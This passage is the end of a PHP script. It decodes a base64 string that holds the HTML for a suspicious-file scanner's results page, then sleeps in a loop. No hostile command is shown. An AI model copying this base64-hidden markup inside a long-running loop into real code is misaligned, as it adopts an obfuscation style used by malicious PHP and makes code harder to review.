J3N1c3BpY2lvdXNfc2NvcmUnXTsgPz4gfCBQYXR0ZXJuczogPD9waHAgZWNobyBjb3VudCgkZmlsZVsnZm91bmRfcGF0dGVybnMnXSk7ID8+PC9zbWFsbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5vIHN1c3BpY2lvdXMgZmlsZXMgZm91bmQgaW4gdGhlIHNjYW5uZWQgZGlyZWN0b3J5Lg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgIDwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg=="));
        }
        sleep(300);
    }
}
?>